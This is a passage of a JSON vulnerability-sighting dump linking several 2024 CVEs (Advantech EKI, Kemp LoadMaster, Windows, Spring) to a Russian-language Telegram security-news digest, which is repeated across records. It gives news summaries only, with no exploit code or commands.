\u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438\u00a010/10.\n\n5. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u0435 Microsoft Partner. Microsoft \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u041a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Nozomi Networks \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Advantech EKI, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n6 \u0438\u0437 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u043e\u0442 CVE-2024-50370 \u0434\u043e CVE-2024-50375 \u0441 CVSS: 9,8) \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430, \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438 \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 Linux \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 CVE-2024-50376 (CVSS: 7,3) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-50359 (CVSS: 7,2) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u043e \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n7. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Jenkins \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0432\u0443\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.", "creation_timestamp": "2024-11-29T17:20:05.000000Z"}, {"uuid": "1b3d627c-6217-4f21-9a6b-a0faffa8c279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50376", "type": "seen", "source": "https://t.me/true_secator/6491", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u0441\u043a\u043e\u0432 \u043c\u0430\u044f\u043a\u0438 \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u043b\u0435\u043f\u043b\u044f\u044f \u043a\u0430\u043a \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Advanced Driver-Assistance Systems (ADAS) \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044f \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u043e\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0443\u0442\u043e\u043a \u0438\u0437-\u0437\u0430 \u0440\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0434\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u0435\u0440\u044b \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.\n\n2. SSD Disclosure \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 TyphoonPWN 2024 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e Microsoft \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0430 \u0435\u0435 \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u043e\u043c, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 11.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Source Incite \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u044c\u044e, \u043e\u0441\u0432\u0435\u0449\u0430\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE.\n\n4. ERNW \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 command injection, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 Kemp LoadMaster \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-7591 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438\u00a010/10.\n\n5. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u0435 Microsoft Partner. Microsoft \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u041a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Nozomi Networks \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Advantech EKI, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n6 \u0438\u0437 20 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (\u043e\u0442 CVE-2024-50370 \u0434\u043e CVE-2024-50375 \u0441 CVSS: 9,8) \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430, \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438 \u0434\u0430\u0436\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0442\u043e\u0447\u043a\u0438 \u0432 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 Linux \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\n\n\u0415\u0449\u0435 \u043e\u0434\u043d\u0430 CVE-2024-50376 (CVSS: 7,3) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 CVE-2024-50359 (CVSS: 7,2) \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u043e \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n7. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Jenkins \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0432\u0443\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.", "creation_timestamp": "2024-11-29T17:20:05.000000Z"}, {"uuid": "a30f327f-1002-455f-ae8c-c5ebf89372f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50359", "type": "seen", "source": "https://t.me/true_secator/6491", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u0441\u043a\u043e\u0432 \u043c\u0430\u044f\u043a\u0438 \u043d\u0430 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0441\u043b\u0435\u043f\u043b\u044f\u044f \u043a\u0430\u043a \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Advanced Driver-Assistance Systems (ADAS) \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0441\u0442\u0432\u0443\u044f \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442 EpileptiCar \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u043e\u0447\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0441\u0443\u0442\u043e\u043a \u0438\u0437-\u0437\u0430 \u0440\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0434\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043c\u0435\u0440\u044b \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u043e\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f.\n\n2. SSD Disclosure \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0430 TyphoonPWN 2024 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043e\u0434\u043d\u0430\u043a\u043e Microsoft \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0430 \u0435\u0435 \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u043e\u043c, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Windows 11.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Source Incite \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0442\u044c\u044e, \u043e\u0441\u0432\u0435\u0449\u0430\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f RCE.\n\n4. ERNW \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 command injection, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0432 Kemp LoadMaster \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-7591 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438\u00a010/10.\n\n5. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0430\u043b\u0435 Microsoft Partner. Microsoft \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 